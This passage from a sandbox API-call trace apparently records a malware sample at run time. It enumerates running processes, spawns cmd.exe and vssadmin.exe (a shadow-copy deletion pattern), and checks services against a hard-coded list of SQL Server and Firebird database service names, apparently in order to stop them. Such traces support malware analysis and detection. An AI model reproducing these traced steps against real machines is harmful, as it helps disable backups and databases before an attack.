th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.148] lstrlenW (lpString="svchost.exe") returned 11 [0054.148] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.148] lstrlenW (lpString="audiodg.exe") returned 11 [0054.148] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.149] lstrlenW (lpString="svchost.exe") returned 11 [0054.149] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.149] lstrlenW (lpString="svchost.exe") returned 11 [0054.150] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.150] lstrlenW (lpString="dwm.exe") returned 7 [0054.150] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.151] lstrlenW (lpString="explorer.exe") returned 12 [0054.151] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.151] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.151] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.152] lstrlenW (lpString="taskhost.exe") returned 12 [0054.152] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.153] lstrlenW (lpString="svchost.exe") returned 11 [0054.153] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.153] lstrlenW (lpString="taskeng.exe") returned 11 [0054.153] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.154] lstrlenW (lpString="taskhost.exe") returned 12 [0054.154] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0054.155] lstrlenW (lpString="chem venues.exe") returned 15 [0054.155] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0054.155] lstrlenW (lpString="month.exe") returned 9 [0054.155] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0054.156] lstrlenW (lpString="glasgow.exe") returned 11 [0054.156] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0054.156] lstrlenW (lpString="rubber.exe") returned 10 [0054.156] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0054.309] lstrlenW (lpString="petroleum.exe") returned 13 [0054.311] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0054.320] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0054.321] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0054.327] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0054.328] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0054.342] lstrlenW (lpString="batman_oliver.exe") returned 17 [0054.343] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0054.382] lstrlenW (lpString="formation.exe") returned 13 [0054.382] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0054.383] lstrlenW (lpString="whole.exe") returned 9 [0054.383] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0054.383] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0054.383] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0054.384] lstrlenW (lpString="disorder.exe") returned 12 [0054.384] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0054.385] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0054.385] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0054.385] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0054.385] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0054.386] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0054.386] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0054.387] lstrlenW (lpString="perspective.exe") returned 15 [0054.387] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0054.387] lstrlenW (lpString="demand-site.exe") returned 15 [0054.387] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0054.388] lstrlenW (lpString="attachment.exe") returned 14 [0054.388] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0054.388] lstrlenW (lpString="valid-permit.exe") returned 16 [0054.388] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0054.389] lstrlenW (lpString="knights.exe") returned 11 [0054.389] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.390] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.390] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0054.390] lstrlenW (lpString="ohbdap.exe") returned 10 [0054.390] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.391] lstrlenW (lpString="cmd.exe") returned 7 [0054.391] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.392] lstrlenW (lpString="conhost.exe") returned 11 [0054.392] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.392] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.392] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.393] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.393] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.394] lstrlenW (lpString="svchost.exe") returned 11 [0054.394] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.394] CloseHandle (hObject=0x1b8) returned 1 [0054.394] Sleep (dwMilliseconds=0x1f4) [0054.922] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ff6d8 [0054.944] EnumServicesStatusExW (in: hSCManager=0x4ff6d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0055.228] GetLastError () returned 0xea [0055.230] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40838f0 [0055.230] EnumServicesStatusExW (in: hSCManager=0x4ff6d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40838f0, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40838f0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0055.236] CloseServiceHandle (hSCObject=0x4ff6d8) returned 1 [0055.237] lstrlenW (lpString="Appinfo") returned 7 [0055.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.237] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.237] lstrlenW (lpString="AudioSrv") returned 8 [0055.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.237] lstrlenW (lpString="BFE") returned 3 [0055.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.237] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.237] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.237] lstrlenW (lpString="CryptSvc") returned 8 [0055.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.238] lstrlenW (lpString="CscService") returned 10 [0055.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.238] lstrlenW (lpString="DcomLaunch") returned 10 [0055.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.238] lstrlenW (lpString="Dhcp") returned 4 [0055.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.238] lstrlenW (lpString="Dnscache") returned 8 [0055.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.238] lstrlenW (lpString="DPS") returned 3 [0055.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.238] lstrlenW (lpString="eventlog") returned 8 [0055.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.239] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.239] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.239] lstrlenW (lpString="EventSystem") returned 11 [0055.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.239] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.239] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.239] lstrlenW (lpString="gpsvc") returned 5 [0055.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.239] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.239] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.239] lstrlenW (lpString="iphlpsvc") returned 8 [0055.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.239] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.239] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.239] lstrlenW (lpString="LanmanServer") returned 12 [0055.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.240] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.240] lstrlenW (lpString="lmhosts") returned 7 [0055.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.240] lstrlenW (lpString="MMCSS") returned 5 [0055.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.240] lstrlenW (lpString="MpsSvc") returned 6 [0055.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.240] lstrlenW (lpString="Netman") returned 6 [0055.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.241] lstrlenW (lpString="netprofm") returned 8 [0055.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.241] lstrlenW (lpString="NlaSvc") returned 6 [0055.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.241] lstrlenW (lpString="nsi") returned 3 [0055.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.241] lstrlenW (lpString="PcaSvc") returned 6 [0055.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.241] 